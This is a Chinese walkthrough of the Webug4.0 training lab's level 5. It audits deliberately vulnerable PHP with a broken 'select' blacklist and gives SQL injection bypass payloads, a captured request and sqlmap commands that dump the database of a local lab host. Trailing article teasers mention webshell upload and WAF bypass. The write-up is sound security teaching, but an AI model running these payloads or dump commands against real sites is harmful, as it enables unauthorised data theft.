Webug4.0靶场通关笔记05- 第5关SQL注入之过滤关键字

article/2025/7/5 18:07:52

目录

一、代码审计

1、源码分析

2、SQL注入分析

(1)大小写绕过

(2)双写绕过 

二、第05关 过滤型注入

1、进入靶场

2、sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第5关过滤注入的渗透实战。

一、代码审计

1、源码分析

分析靶场源码,本关卡实现了一个带会话验证的 SQL 查询页面,经过详细注释后的代码如下所示。

<?php// 引入公共配置文件,包含数据库连接等基础功能
require_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}/*** 示例SQL注入Payload:* '1' or if(1=1, sleep(3),1); --+* 此Payload利用条件判断执行延时,检测数据库响应*/
// 简单的黑名单过滤,尝试阻止包含"select"的恶意输入
$filter = array('select', 'SELECT');// 处理搜索表单提交
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {// 黑名单过滤逻辑:检测到敏感词时弹出警告if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";} else{// 存在SQL注入风险的查询:直接将用户输入拼接到SQL语句中$sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";// 执行查询并处理错误,但错误信息泄露了SQL结构$res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}}
}// 引入HTML模板文件,显示查询结果
require_once TPMELATE."/post-injection.html";

 webug4靶场的第5关卡实现了如下功能。

  • 首先验证用户会话,确保只有登录用户才能访问。
  • 定义了一个简单的黑名单,尝试阻止包含 "select" 的恶意输入。
  • 接收用户通过表单提交的搜索关键词。
  • 将用户输入直接拼接到 SQL 查询语句中执行。
  • 查询成功执行结果为res,失败则输出包含 SQL 的错误信息。
  • 最终通过模板文件呈现搜索结果页面。 

2、SQL注入分析

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是http的方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别是select和SELECT两个关键字的过滤

$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";}}
}
  • 第一层判断isset($_POST["keyWordName"])
    确保参数 keyWordName 存在,避免 $_POST 数组下标越界。
  • 第二层判断!empty($_POST["keyWordName"])
    过滤空值,只处理用户实际提交的内容。
  • 第三层判断in_array(...)
    使用 in_array 函数检测用户输入是否严格等于 $filter 中的某个元素(区分大小写)

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框。

in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。当然,对于真实过滤的关键字的场景,我们可以使用大小写或者双写绕过,实现对第5关卡的注入。

(1)大小写绕过

SeLeCt 1 FROM users --

(2)双写绕过 

sselectelect 1 from users

二、第05关 过滤型注入

1、进入靶场

开启bp抓包,打开靶场并在搜索框内填入1然后点击搜索,如下所示。

http://192.168.71.1/webug4/control/sqlinject/filter_injection.php

2、sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件,如下所示。

其中webug05.txt内容如下所示。

POST /webug4/control/sqlinject/filter_injection.php?id=1 HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/webug4/control/sqlinject/filter_injection.php?id=1
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40keyWordName=1

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py,将随机大小写来绕过源码对select关键字的过滤

sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点。

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf。


http://www.hkcw.cn/article/ZVbUmCyxGv.shtml

相关文章

001在线拍卖系统技术揭秘:构建高效交互的竞拍平台

在线拍卖系统技术揭秘&#xff1a;构建高效交互的竞拍平台 在互联网经济蓬勃发展的当下&#xff0c;在线拍卖系统以其独特的交易模式&#xff0c;吸引着众多用户参与。该系统涵盖个人中心、用户管理等多个关键模块&#xff0c;通过前台展示与后台录入的协同运作&#xff0c;满…

LabVIEW输血袋字符智能检测系统

针对医疗行业输血袋字符检测需求&#xff0c;基于 LabVIEW 图形化开发平台与基恩士&#xff08;KEYENCE&#xff09;机器视觉硬件&#xff0c;构建高精度、高可靠性的字符在线识别系统。通过选用基恩士工业相机、光源及 NI 数据采集设备等硬件&#xff0c;结合 LabVIEW 强大的图…

Conditional注解的使用

目录 1.ConditionalOnBean 1.1、作用 1.2、使用场景 2. ConditionalOnMissingBean 2.1、作用 2.2、使用场景 3. 两者结合使用 4. 高级用法&#xff1a; 5. 注意事项 6. 实际应用场景 前言 在 Spring 框架中&#xff0c;ConditionalOnBean 和 ConditionalOnMissingBea…

CTFshow web3

文件包含和伪协议 用GET传入一个URL值&#xff0c;/?url文件路径 伪协议php://input 用来执行PHP代码&#xff0c;将POST请求当作PHP代码执行 测试一下&#xff0c;可以正确解析 拿到FLAG 还有一种解法&#xff0c;写入一句话木马 #Payload #把一句话木马写入2.phpdata:/…

数据库暴露--Get型注入攻击

1.背景知识 1.1Post、Get的对比 特性GET 方法POST 方法HTTP 方法类型GETPOST数据位置URL 查询字符串(?key=value)请求体(Request Body)数据可见性明文显示在 URL 和浏览器历史中不可见(除非开发者工具查看)数据长度限制受 URL 长度限制(通常约 2048 字符)无明确限制(…

Linux 1.0.4

父子shell linux研究的就是shell 打开两个窗口就是两个shell 终端的软件有很多 bash也是一个软件 我们在terminal里面再打开一个bash&#xff0c;然后再次使用ps命令发现多出来一个bash&#xff0c;之后点击exit只是显示了一个exit&#xff0c;这个只是退出了在terminal中打开…

挖洞日记 | 记一次MSSQL注入绕waf过程

在挖漏洞时&#xff0c;使用 xia sql 插件发现一个注入点&#xff0c;经过测试发现存在 waf 拦截记录一下。 在查询中发现单引号是空白页面&#xff0c;在加一个单引号&#xff0c;显示空数据&#xff0c;但是有回显&#xff0c;初步判断 pname 存在 SQL注入。 然后判断列数1o…

Linux-pcie ranges介绍

参考链接&#xff1a;https://elinux.org/Device_Tree_Usage#PCI_Host_Bridge pcie bar高低端BAR起始地址介绍 pcie设备树节点 / {compatible "rockchip,rk3588";interrupt-parent <&gic>;#address-cells <2>;#size-cells <2>;pcie3x4: p…

模块化设计,static和extern(面试题常见)

文章目录 一、函数的声明和定义1.1 单个文件1.2 多个文件1.3 static和extern1.3.1 static修饰局部变量1.3.2 static修饰全局变量1.3.3 static修饰函数 总结 一、函数的声明和定义 1.1 单个文件 一般我们在使用函数的时候&#xff0c;直接将函数写出来就使用了 题目:写一个函数…

探讨下LLM 在逻辑推理中的记忆现象

简述 今天刷到一篇推理模型训练的论文&#xff0c;研究解答了我们使用大模型的人困惑&#xff0c;大模型的能力到底是弈中高级的匹配模式还是真的在做逻辑推理 [2410.23123] On Memorization of Large Language Models in Logical ReasoningAbstract page for arXiv paper 24…

deepseekR1模型:Win11本地部署(ollam+DS:8b+chatbox AI)

目录 一、部署工具包二、Ollama安装1. 修改Ollama模型路径&#xff08;不需要修改安装路径可忽略此部分&#xff09;1.1 模型路径原配置1.2 更改模型路径原配置&#xff0c;释放C盘压力 2. 安装Ollama2.1 下载Ollama安装包2.1 安装验证 三、安装大模型&#xff08;博主安装DS-r…

leetcode:7. 整数反转(python3解法,数学相关算法题)

难度&#xff1a;中等 给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 如果反转后整数超过 32 位的有符号整数的范围 [−231, 231 − 1] &#xff0c;就返回 0。 假设环境不允许存储 64 位整数&#xff08;有符号或无符号&#xff09;。 示例…

ROS 2 中的 robot_state_publisher 和 joint_state_publisher 详解

文章目录 总体简介&#x1f9e9; 1 . joint_state_publisher - 关节状态发布器&#x1f4cc; 核心功能⚙️ 工作原理&#x1f9e0; 主要任务&#x1f4bb; 基本用法 &#x1f9e9; 2. robot_state_publisher - 机器人状态发布器&#x1f4cc; 核心功能⚙️ 工作原理&#x1f9e…

第10讲、Odoo 18框架设计原理全解析

前言 Odoo是一套开源的企业资源规划(ERP)系统&#xff0c;以其模块化、可扩展性和全面的业务应用套件而闻名。Odoo 18作为其最新版本&#xff0c;在架构设计、前端技术和后端实现上都有显著的创新和优化。本文将从前端的OWL组件化、模块化&#xff0c;到后端的ORM封装&#xf…

MPC5744P——eTimer简介

1、eTimer结构图 eTimer模块提供&#xff1a; 六个相同的计数器/定时器通道一个看门狗定时器功能&#xff08;可能并非每个eTimer模块实例都具备&#xff09; 2、eTimer通道结构图 eTimer中的每个计时器/计数器通道结构图如下图所示&#xff0c;每个16位计数器/定时器通道包…

MySQL主从复制---笔记

一、MySQL主从复制架构 常见拓扑 基础一主一从 主库&#xff08;Master&#xff09;处理写操作&#xff0c;从库&#xff08;Slave&#xff09;同步数据并处理读请求。 适用场景&#xff1a;读写分离、数据备份。 一主多从 一个主库对应多个从库&#xff0c;显著提升读性能…

Wayland模式X11模式LinuxFB​​模式,Linux图形显示系统三大模式深度解析

Linux图形显示系统三大模式深度解析&#xff1a;Wayland &#xff0c; X11 &#xff0c; LinuxFB​​ ​​一、技术原理与架构设计​​ ​​LinuxFB&#xff08;帧缓冲直通模式&#xff09;​​ 工作原理​​&#xff1a;直接读写内核帧缓冲设备&#xff08;/dev/fb0&#x…

戴尔AI服务器订单激增至121亿美元,但传统业务承压

戴尔科技121亿美元的AI服务器订单&#xff0c;不仅超过了公司整个2025财年的AI服务器出货量&#xff0c;更让其AI订单积压达到144亿美元的历史高位。 戴尔科技最新财报显示&#xff0c;AI服务器需求的爆炸式增长正在重塑这家老牌PC制造商的业务格局&#xff0c;但同时也暴露出…

葵花数据(Himawari Data)

葵花数据&#xff08;Himawari Data&#xff09;是由日本气象厅&#xff08;Japan Meteorological Agency, JMA&#xff09;通过其静止气象卫星 Himawari 系列&#xff08;ひまわり卫星&#xff09;获取的一类高频率、多波段的地球观测数据。当前在轨运行的是 Himawari-8 和 Hi…

LangChain-LangGraph框架 应用实例

LangGraph是LangChain的高级库,为大型语言模型(LLM)带来循环计算能力。 LangGraph建立在LCEL之上,允许高效地协调应用程序组件,同时保持简洁和可读的代码。它包括内置持久性、对循环的支持,并优先考虑可控性。 如果LCEL对于更大或更复杂的链变得笨重,它们可能会受益于L…